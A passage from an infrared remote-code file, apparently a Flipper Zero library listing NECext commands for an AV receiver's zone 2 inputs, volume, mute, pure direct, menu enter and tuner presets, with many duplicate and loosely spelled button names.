00 00 +command: D7 00 00 00 +# +name: ZONE2_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: ZONE_2:_INPUT_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: ZONE_2_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: Z2_DVR/VCR2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: Z2:_INP_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: Z2_INP:_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: Z2_INP:_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: V_AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: Z2_INPUT_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: INPUT:_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: Z2:_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: Z2:_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: IN_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: Z2_IN_V-AUX/DOCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: Z2_IN:_V-AUX/DOCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: Z2:_V-AUX/DOCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: INP_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: ZONE_2_V.AUX/DOCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: ZONE2_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: ZONE_2:_INPUT_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: Z2:_V._AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: ZONE2:_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: Z2_VOLUME_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: ZONE_2_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: Z2:_INPUT_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: Z2_INP:_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: Z2_INP:_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D8 00 00 00 +# +name: TV/DBS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: Z2_INPUT_DTV/CB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: INPUT:_D-TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: Z2:_DTV/LD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: DTV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: Z2:_DTV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: IN_DTV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: Z2_IN_D-TV/CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: ZONE_2_TV/DBS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: Z2_IN:_D-TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: INPUT:_D-TV_/_LD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: INP_TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: ZONE_2_DTV/CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: ZONE2_DTV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: ZONE_2:_INPUT_DTV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: Z2:_DTV/CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: Z2_DTV/CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: Z2:_INP_DTV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: Z2_INP:_TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: Z2_INP:_TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D9 00 00 00 +# +name: Z2_VOL_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DA 00 00 00 +# +name: Z2:_VOL_(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DA 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DA 00 00 00 +# +name: ZONE_2_VOL._UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DA 00 00 00 +# +name: Z2_VOLUME_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DA 00 00 00 +# +name: Z2:_VOLUME_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DA 00 00 00 +# +name: ZONE_2:_VOLUME_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DA 00 00 00 +# +name: ZONE_2_VOLUME_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DA 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DA 00 00 00 +# +name: Z2_VOLUME_(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DA 00 00 00 +# +name: Z2:_VOLUME_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DA 00 00 00 +# +name: Z2:_VOLUME_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DA 00 00 00 +# +name: Z2_VOL_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DB 00 00 00 +# +name: Z2:_VOL_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DB 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DB 00 00 00 +# +name: ZONE_2_VOL._DWON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DB 00 00 00 +# +name: Z2_VOLUME_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DB 00 00 00 +# +name: Z2:_VOLUME_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DB 00 00 00 +# +name: ZONE_2:_VOLUME_DN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DB 00 00 00 +# +name: ZONE_2_VOL._DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DB 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DB 00 00 00 +# +name: ZONE_2_VOLUME_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DB 00 00 00 +# +name: Z2:_VOLUME_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DB 00 00 00 +# +name: Z2:_VOLUME_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DB 00 00 00 +# +name: Z2_MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DC 00 00 00 +# +name: Z2:_MUTE_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DC 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DC 00 00 00 +# +name: Z2_MUTE_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DC 00 00 00 +# +name: Z2:_MUTE_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DC 00 00 00 +# +name: MUTE_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DC 00 00 00 +# +name: ZONE_2_MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DC 00 00 00 +# +name: ZONE_2:_MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DC 00 00 00 +# +name: Z2:_MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DC 00 00 00 +# +name: ZONE2:_MUTE_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DC 00 00 00 +# +name: Z2_MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DC 00 00 00 +# +name: DSP_DIRECT_STEREO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DD 00 00 00 +# +name: DSP_PURE_DIRECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DD 00 00 00 +# +name: DSP_TOG:_PURE_DIRECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DD 00 00 00 +# +name: DSP_PUREDIR_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DD 00 00 00 +# +name: PURE_DIRECT:_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DD 00 00 00 +# +name: DIRECT_STEREO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DD 00 00 00 +# +name: DSP_TOG_PURE_DIR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DD 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DD 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DD 00 00 00 +# +name: PURE_DIRECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DD 00 00 00 +# +name: DSP:_PURE_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DD 00 00 00 +# +name: DSP:_STEREO_DIRECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DD 00 00 00 +# +name: DSP_PURE_DIRECT_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DD 00 00 00 +# +name: PROGRAM_PURE_DIRECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DD 00 00 00 +# +name: DSP:_T_PURE_DIRECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DD 00 00 00 +# +name: MZ:_PURE_DIRECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DD 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DE 00 00 00 +# +name: MENU:_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DE 00 00 00 +# +name: MENU_CURSOR_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DE 00 00 00 +# +name: GUI:_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DE 00 00 00 +# +name: MENU:_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DE 00 00 00 +# +name: SETUP_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DE 00 00 00 +# +name: SOURCE:_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DE 00 00 00 +# +name: YENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DE 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DE 00 00 00 +# +name: SET_MENU:_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DE 00 00 00 +# +name: SET_MENU_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DE 00 00 00 +# +name: MENU_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DE 00 00 00 +# +name: MZ_SOURCE_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DE 00 00 00 +# +name: MZ:_SET_CURS_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DE 00 00 00 +# +name: GUI:_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: DE 00 00 00 +# +name: TUNER_PRESET_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E0 00 00 00 +# +name: TUNER_PAGE_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E0 00 00 00 +# +name: TUNER_BANK_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E0 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E0 00 00 00 +# +name: TUNER:_PG_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E0 00 00 00 +# +name: TUNER_PRESETPAGEA +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E0 00 00 00 +# +name: TUNER:_PRESET_PG_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E0 00 00 00 +# +name: TUNER:_CATAGORY_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E0 00 00 00 +# +name: TUNER:_PRESET_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E0 00 00 00 +# +name: TUNER:_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E0 00 00 00 +# +name: TUNER:_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E0 00 00 00 +# +name: TUNER_PRESET_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E1 00 00 00 +# +name: TUNER_PAGE_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E1 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E1 00 00 00 +# +name: TUNER_BANK_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E1 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E1 00 00 00 +# +name: TUNER:_PG_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E1 00 00 00 +# +name: TUNER_PRESETPAGEB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E1 00 00 00 +# +name: TUNER:_PRESET_PG_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E1 00 00 00 +# +name: TUNER:_CATAGORY_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E1 00 00 00 +# +name: TUNER:_PRESET_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E1 00 00 00 +# +name: TUNER:_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E1 00 00 00 +# +name: TUNER:_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E1 00 00 00 +# +name: TUNER_PRESET_C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E2 00 00 00 +# +name: TUNER_PAGE_C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E2 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E2 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E2 00 00 00 +# +name: TUNER_BANK_C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E2 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E2 00 00 00 +# +name: TUNER:_PG_C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E2 00 00 00 +# +name: TUNER_PRESETPAGEC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E2 00 00 00 +# +name: TUNER:_PRESET_PG_C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E2 00 00 00 +# +name: TUNER:_CATAGORY_C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E2 00 00 00 +# +name: TUNER:_PRESET_C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E2 00 00 00 +# +name: TUNER:_C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E2 00 00 00 +# +name: TUNER:_C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E2 00 00 00 +# +name: TUNER_PRESET_D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E3 00 00 00 +# +name: TUNER_PAGE_D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E3 00 00 00 +# +name: 11 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E3 00 00 00 +# +name: TUNER_BANK_D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E3 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E3 00 00 00 +# +name: TUNER:_PG_D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E3 00 00 00 +# +name: TUNER_PRESETPAGED +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E3 00 00 00 +# +name: TUNER:_PRESET_PG_D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E3 00 00 00 +# +name: TUNER:_CATAGORY_D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E3 00 00 00 +# +name: TUNER:_PRESET_D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E3 00 00 00 +# +name: TUNER:_D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E3 00 00 00 +# +name: TUNER:_D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E3 00 00 00 +# +name: TUNER_PRESET_E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E4 00 00 00 +# +name: TUNER_PAGE_E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E4 00 00 00 +# +name: 12 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E4 00 00 00 +# +name: TUNER_BANK_E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E4 00 00 00 +# +name: E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E4 00 00 00 +# +name: TUNER:_PG_E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E4 00 00 00 +# +name: TUNER_PRESETPAGEE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E4 00 00 00 +# +name: TUNER:_PRESET_PG_E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E4 00 00 00 +# +name: TUNER:_CATAGORY_E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E4 00 00 00 +# +name: TUNER:_PRESET_E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E4 00 00 00 +# +name: TUNER:_E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E4 00 00 00 +# +name: TUNER:_E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E4 00 00 00 +# +name: TUNER_PRESET_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E5 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E5 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E5 00 00 00 +# +name: TUNER:_PRES_#_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E5 00 00 00 +# +name: TUNER:_PRESET_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E5 00 00 00 +# +name: PRESET_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E5 00 00 00 +# +name: TUNER:_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E5 00 00 00 +# +name: TUNER_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E5 00 00 00 +# +name: TUNER_NUM_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E5 00 00 00 +# +name: TUNER:_PRESET_#_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E5 00 00 00 +# +name: TUN_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E5 00 00 00 +# +name: TUNER:_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E5 00 00 00 +# +name: TUNER_PRESET_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E6 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E6 00 00 00 +# +name: TUNER:_PRES_#_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E6 00 00 00 +# +name: TUNER:_PRESET_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E6 00 00 00 +# +name: PRESET_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E6 00 00 00 +# +name: TUNER:_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E6 00 00 00 +# +name: TUNER_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E6 00 00 00 +# +name: TUNER_NUM_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E6 00 00 00 +# +name: TUNER:_PRESET_#_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E6 00 00 00 +# +name: TUN_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E6 00 00 00 +# +name: TUNER:_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E6 00 00 00 +# +name: TUNER_PRESET_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E7 00 00 00 +# +name: TUNER:_PRES_#_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E7 00 00 00 +# +name: TUNER:_PRESET_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E7 00 00 00 +# +name: PRESET_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E7 00 00 00 +# +name: TUNER:_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E7 00 00 00 +# +name: TUNER_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E7 00 00 00 +# +name: TUNER_NUM_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E7 00 00 00 +# +name: TUNER:_PRESET_#_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E7 00 00 00 +# +name: TUN_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E7 00 00 00 +# +name: TUNER:_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E7 00 00 00 +# +name: TUNER_PRESET_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E8 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E8 00 00 00 +# +name: TUNER:_PRES_#_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E8 00 00 00 +# +name: TUNER:_PRESET_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E8 00 00 00 +# +name: PRESET_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E8 00 00 00 +# +name: TUNER:_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E8 00 00 00 +# +name: TUNER_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E8 00 00 00 +# +name: TUNER_NUM_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E8 00 00 00 +# +name: TUNER:_PRESET_#_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E8 00 00 00 +# +name: TUN_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E8 00 00 00 +# +name: TUNER:_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E8 00 00 00 +# +name: TUNER_PRESET_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E9 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E9 00 00 00 +# +name: TUNER:_PRES_#_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E9 00 00 00 +# +name: TUNER:_PRESET_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E9 00 00 00 +# +name: PRESET_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E9 00 00 00 +# +name: TUNER:_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E9 00 00 00 +# +name: TUNER_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E9 00 00 00 +# +name: TUNER_NUM_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E9 00 00 00 +# +name: TUNER:_PRESET_#_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E9 00 00 00 +# +name: TUN_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E9 00 00 00 +# +name: TUNER:_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E9 00 00 00 +# +name: TUNER_PRESET_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EA 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EA 00 00 00 +# +name: TUNER:_PRES_#_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EA 00 00 00 +# +name: TUNER:_PRESET_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EA 00 00 00 +# +name: PRESET_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EA 00 00 00 +# +name: TUNER:_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EA 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EA 00 00 00 +# +name: TUNER_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EA 00 00 00 +# +name: TUNER_NUM_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EA 00 00 00 +# +name: TUNER:_PRESET_#_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EA 00 00 00 +# +name: TUN_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EA 00 00 00 +# +name: TUNER:_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EA 00 00 00 +# +name: TUNER_PRESET_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EB 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EB 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EB 00 00 00 +# +name: TUNER:_PRES_#_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EB 00 00 00 +# +name: TUNER:_PRESET_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EB 00 00 00 +# +name: PRESET_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EB 00 00 00 +# +name: TUNER:_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EB 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EB 00 00 00 +# +name: TUNER_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EB 00 00 00 +# +name: TUNER_NUM_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EB 00 00 00 +# +name: TUNER:_PRESET_#_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EB 00 00 00 +# +name: TUN_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EB 00 00 00 +# +name: TUNER:_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EB 00 00 00 +# +name: TUNER_PRESET_8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EC 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EC 00 00 00 +# +name: TUNER:_PRES_#_8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EC 00 00 00 +# +name: TUNER:_PRESET_8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EC 00 00 00 +# +name: PRESET_8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EC 00 00 00 +# +name: TUNER:_8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EC 00 00 00 +# +name: TUNER_8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EC 00 00 00 +# +name: TUNER_NUM_8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EC 00 00 00 +# +name: TUNER:_PRESET_#_8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EC 00 00 00 +# +name: TUN_8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EC 00 00 00 +# +name: TUNER:_8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EC 00 00 00 +# +name: Z3:_POWER_ON +type: parsed 